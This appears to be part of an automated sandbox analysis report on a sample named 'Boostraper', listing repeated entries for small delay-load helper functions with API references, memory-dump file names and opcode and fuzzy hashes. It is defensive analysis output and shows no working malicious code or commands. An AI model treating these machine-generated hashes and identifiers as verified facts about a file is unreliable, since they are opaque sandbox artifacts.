Function 0078DBC3 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DBD5

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7bc9b7b30d8799cb8594b51d074f073a9e5860ab4848dc1250e55c9f585f39ba
Instruction ID: 843bec456e1c055042e843cda67c0e0e99a7850492047d89c9d14bfaa420ebb1
Opcode Fuzzy Hash: 7bc9b7b30d8799cb8594b51d074f073a9e5860ab4848dc1250e55c9f585f39ba
Instruction Fuzzy Hash: 5DB012D53FC106BC322831102C0BC37033CC0C0B20330423BB106D00C29D4C4C4A5131

Function 0078DC5D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DC36

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 04bc04d60b7b52565b43eb0be740e587bc24450b94cd511306e8f9567c6c1d68
Instruction ID: 62c8423780ab054edbf9306aa1bb76dc32a574b283ba1131e17187b7c373a161
Opcode Fuzzy Hash: 04bc04d60b7b52565b43eb0be740e587bc24450b94cd511306e8f9567c6c1d68
Instruction Fuzzy Hash: CCB012D52FC202EC311C71046C16D36037CC0C4B10330862BF20DD11C2F58C5C065232

Function 0078DC53 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DC36

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 61924dc5ea8fa6963d34a14f3cf13e66291e0684a61df8c276413703ecf40706
Instruction ID: 9fc44182b4dd2f242d973b2c814fe36a7bb25ba31ba387f982f3a658ec343bf8
Opcode Fuzzy Hash: 61924dc5ea8fa6963d34a14f3cf13e66291e0684a61df8c276413703ecf40706
Instruction Fuzzy Hash: 71B012D52EC101FC311C71046C16D36037CC0C9B10330C62BF60DD11C2F58C5C065232

Function 0078DC24 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DC36

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ddb9b9301e610c71f27f4ed5395d006cf4f6db67e37f2048a68a1e9d56eba685
Instruction ID: e6459e775ce3f0bcdb3fe83aa8339f2ff03d8669d219db6650d85b40cf59748b
Opcode Fuzzy Hash: ddb9b9301e610c71f27f4ed5395d006cf4f6db67e37f2048a68a1e9d56eba685
Instruction Fuzzy Hash: 36B012D52EC205FC311C31006E16C36033CC1C4B11330872BF209E00C2B58C5C466132

Function 0078D8D9 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a3ac459288fe867ba74c6d6d1b15e3f3d9645c3af48f7ca94bead5351694501b
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: a3ac459288fe867ba74c6d6d1b15e3f3d9645c3af48f7ca94bead5351694501b
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D979 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 14ef90221b4d86e84e9cb732dd0ceff287e6225ff54e3675413548dd5a81fe20
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: 14ef90221b4d86e84e9cb732dd0ceff287e6225ff54e3675413548dd5a81fe20
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D96F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d22a3efb18cbf332d659a93abecbe501cbd186a659fbb9d7a0e003481af22037
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: d22a3efb18cbf332d659a93abecbe501cbd186a659fbb9d7a0e003481af22037
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D965 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4627029b5b8f8b240fbafdabb7c804e22299f872ea31368c69490e0659d58a31
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: 4627029b5b8f8b240fbafdabb7c804e22299f872ea31368c69490e0659d58a31
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D95B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9e02ef46a87b6ca6dda8807131f48e27b40b3244803f109e57e5c935a0f830c1
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: 9e02ef46a87b6ca6dda8807131f48e27b40b3244803f109e57e5c935a0f830c1
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D951 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1b4015b27b38d8319fb536ca2e6b7bd6070e9534c0618f3bcfedb796167e3f11
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: 1b4015b27b38d8319fb536ca2e6b7bd6070e9534c0618f3bcfedb796167e3f11
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D93D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5a187d095fa8cd7b4e984a7eb6febff7e21df3b7db04b4eba1ab99ac93a79e75
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: 5a187d095fa8cd7b4e984a7eb6febff7e21df3b7db04b4eba1ab99ac93a79e75
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D91F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3808b3390a7577d089fda13126abb528f0a64029174a4d596512679ac72f3781
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: 3808b3390a7577d089fda13126abb528f0a64029174a4d596512679ac72f3781
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D997 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1ff27db3fdc80bc7e9f18fc4692cd2c0ea506587e95e03cac570f10db439dcac
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: 1ff27db3fdc80bc7e9f18fc4692cd2c0ea506587e95e03cac570f10db439dcac
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D98D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 93228d83fd194cad6927498d3777122edd03fb4502dae680a831fcd458b047d5
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: 93228d83fd194cad6927498d3777122edd03fb4502dae680a831fcd458b047d5
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078D983 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078D8A3

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 93c0fa2db2a2e54bcbd0fae84cc2bc3cded44b6311345bed73b220eb7a91d408
Instruction ID: fd062d9f983b7c47ac781edfae52b1fdddb69156c7323ac992ab15cef0dbb5c2
Opcode Fuzzy Hash: 93c0fa2db2a2e54bcbd0fae84cc2bc3cded44b6311345bed73b220eb7a91d408
Instruction Fuzzy Hash: 24A001E66ED502BC31287261AD5AD3A072DC8C6B613308A1AB55AE40C2A9886D496A71

Function 0078DAFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DAB2

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6b394cb9810db076f5b7c1761f214e838cbfa313eb6684f0bb7a9d3a55ef282a
Instruction ID: e9b60ec0e25f43ccbc5bb4d0e19e57b99e699dfa2064b369f7c12299438904f6
Opcode Fuzzy Hash: 6b394cb9810db076f5b7c1761f214e838cbfa313eb6684f0bb7a9d3a55ef282a
Instruction Fuzzy Hash: E8A001E62ED102FC312C7293AD1AD3A076CC4C5BA13308A1AB51AD40CAA98C5D496A72

Function 0078DAF2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0078DAB2

Part of subcall function 0078DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0078DFD6
Part of subcall function 0078DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0078DFE7

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
